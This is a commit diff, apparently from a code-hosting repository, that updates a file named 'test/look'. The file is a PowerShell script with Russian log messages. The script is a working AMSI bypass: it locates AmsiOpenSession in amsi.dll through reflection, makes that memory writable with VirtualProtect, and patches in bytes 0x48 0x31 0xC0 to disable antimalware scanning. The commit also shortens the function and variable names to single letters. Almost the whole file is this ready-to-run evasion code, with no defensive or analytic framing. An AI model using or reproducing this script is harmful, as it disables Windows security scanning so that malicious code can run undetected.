enotkrutoy commited on
Commit
84e71cd
·
verified ·
1 Parent(s): 6f2c302

Update test/look

Browse files
Files changed (1) hide show
  1. test/look +40 -46
test/look CHANGED
@@ -1,67 +1,61 @@
1
- function lookFuncAddr {
2
- Param($moduleName, $functionName)
3
-
4
- Write-Host "[lookFuncAddr] Начало выполнения функции" -ForegroundColor Green
5
- Write-Host "[lookFuncAddr] Параметры:ModuleName=$moduleName,FunctionName=$functionName" -ForegroundColor Cyan
6
-
7
- $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
8
- Where-Object {$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods')
9
-
10
- Write-Host "[lookFuncAddr] Получена сборка: $($assem.Assembly.FullName)" -ForegroundColor Green
11
-
12
- $tmp=@()
13
- $assem.GetMethods() | ForEach-Object{
14
- If($_.Name -eq 'GetProcAddress') {
15
- $tmp+=$_
16
- Write-Host "[lookFuncAddr] Найден метод GetProcAddress" -ForegroundColor Green
17
  }
18
  }
19
-
20
- Write-Host "[lookFuncAddr] Возврат результата" -ForegroundColor Green
21
- return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
22
  }
23
 
24
- function getDelegateType {
25
  Param(
26
- [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
27
- [Parameter(Position = 1)] [Type] $delType = [Void]
 
 
28
  )
29
-
30
- Write-Host "[getDelegateType] Начало выполнения функции" -ForegroundColor Green
31
- Write-Host "[getDelegateType] Параметры:Func=$func,DelType=$delType" -ForegroundColor Cyan
32
-
33
- $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
34
  [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType',
35
  'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
36
-
37
- Write-Host "[getDelegateType] Создан тип делегата: $type" -ForegroundColor Green
38
-
39
- $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
40
- $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
41
-
42
- Write-Host "[getDelegateType] Возврат созданного типа" -ForegroundColor Green
43
- return $type.CreateType()
44
  }
45
 
46
  Write-Host "[Main] Начало выполнения основного кода" -ForegroundColor Yellow
47
 
48
- [IntPtr]$amsiAddr = lookFuncAddr amsi.dll AmsiOpenSession
49
- Write-Host "[Main] Получен адрес AmsiOpenSession: $amsiAddr" -ForegroundColor Green
50
-
51
- $oldProtect = 0
52
- $vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookFuncAddr kernel32.dll VirtualProtect),
53
- (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
54
 
 
 
 
 
 
 
55
  Write-Host "[Main] Создан делегат для VirtualProtect" -ForegroundColor Green
56
 
57
- $vp.Invoke($amsiAddr, 3, 0x40, [ref]$oldProtect)
58
  Write-Host "[Main] Изменены права доступа к памяти" -ForegroundColor Green
59
 
60
- $3b = [Byte[]] (0x48, 0x31, 0xC0)
61
- [System.Runtime.InteropServices.Marshal]::Copy($3b, 0, $amsiAddr, 3)
62
  Write-Host "[Main] Записаны байты в память" -ForegroundColor Green
63
 
64
- $vp.Invoke($amsiAddr, 3, 0x20, [ref]$oldProtect)
65
  Write-Host "[Main] Восстановлены оригинальные права доступа" -ForegroundColor Green
66
 
67
- Write-Host "[Main] Завершение выполнения" -ForegroundColor Yellow
 
1
+ function f {
2
+ Param($a, $b)
3
+ Write-Host "[f] Начало выполнения функции" -ForegroundColor Green
4
+ Write-Host "[f] Параметры: ModuleName=$a, FunctionName=$b" -ForegroundColor Cyan
5
+ $c = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -and $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
6
+ Write-Host "[f] Получена сборка: $($c.Assembly.FullName)" -ForegroundColor Green
7
+ $d = @()
8
+ $c.GetMethods() | ForEach-Object {
9
+ if ($_.Name -eq 'GetProcAddress') {
10
+ $d += $_
11
+ Write-Host "[f] Найден метод GetProcAddress" -ForegroundColor Green
 
 
 
 
 
12
  }
13
  }
14
+ Write-Host "[f] Возврат результата" -ForegroundColor Green
15
+ return $d[0].Invoke($null, @( ($c.GetMethod('GetModuleHandle')).Invoke($null, @($a)), $b ))
 
16
  }
17
 
18
+ function g {
19
  Param(
20
+ [Parameter(Position=0, Mandatory=$true)]
21
+ [Type[]]$p,
22
+ [Parameter(Position=1)]
23
+ [Type]$q = [Void]
24
  )
25
+ Write-Host "[g] Начало выполнения функции" -ForegroundColor Green
26
+ Write-Host "[g] Параметры: Func=$p, DelType=$q" -ForegroundColor Cyan
27
+ $r = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
 
 
28
  [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType',
29
  'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
30
+ Write-Host "[g] Создан тип делегата: $r" -ForegroundColor Green
31
+ $r.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $p).SetImplementationFlags('Runtime, Managed')
32
+ $r.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $q, $p).SetImplementationFlags('Runtime, Managed')
33
+ Write-Host "[g] Возврат созданного типа" -ForegroundColor Green
34
+ return $r.CreateType()
 
 
 
35
  }
36
 
37
  Write-Host "[Main] Начало выполнения основного кода" -ForegroundColor Yellow
38
 
39
+ # Вызов функции для получения адреса AmsiOpenSession
40
+ [IntPtr]$s = f 'amsi.dll' 'AmsiOpenSession'
41
+ Write-Host "[Main] Получен адрес AmsiOpenSession: $s" -ForegroundColor Green
 
 
 
42
 
43
+ $o = 0
44
+ # Создание делегата для VirtualProtect с передачей массива типов
45
+ $v = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
46
+ (f 'kernel32.dll' 'VirtualProtect'),
47
+ (g @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool]))
48
+ )
49
  Write-Host "[Main] Создан делегат для VirtualProtect" -ForegroundColor Green
50
 
51
+ $v.Invoke($s, 3, 0x40, [ref]$o)
52
  Write-Host "[Main] Изменены права доступа к памяти" -ForegroundColor Green
53
 
54
+ $b = [Byte[]](0x48, 0x31, 0xC0)
55
+ [System.Runtime.InteropServices.Marshal]::Copy($b, 0, $s, 3)
56
  Write-Host "[Main] Записаны байты в память" -ForegroundColor Green
57
 
58
+ $v.Invoke($s, 3, 0x20, [ref]$o)
59
  Write-Host "[Main] Восстановлены оригинальные права доступа" -ForegroundColor Green
60
 
61
+ Write-Host "[Main] Завершение выполнения" -ForegroundColor Yellow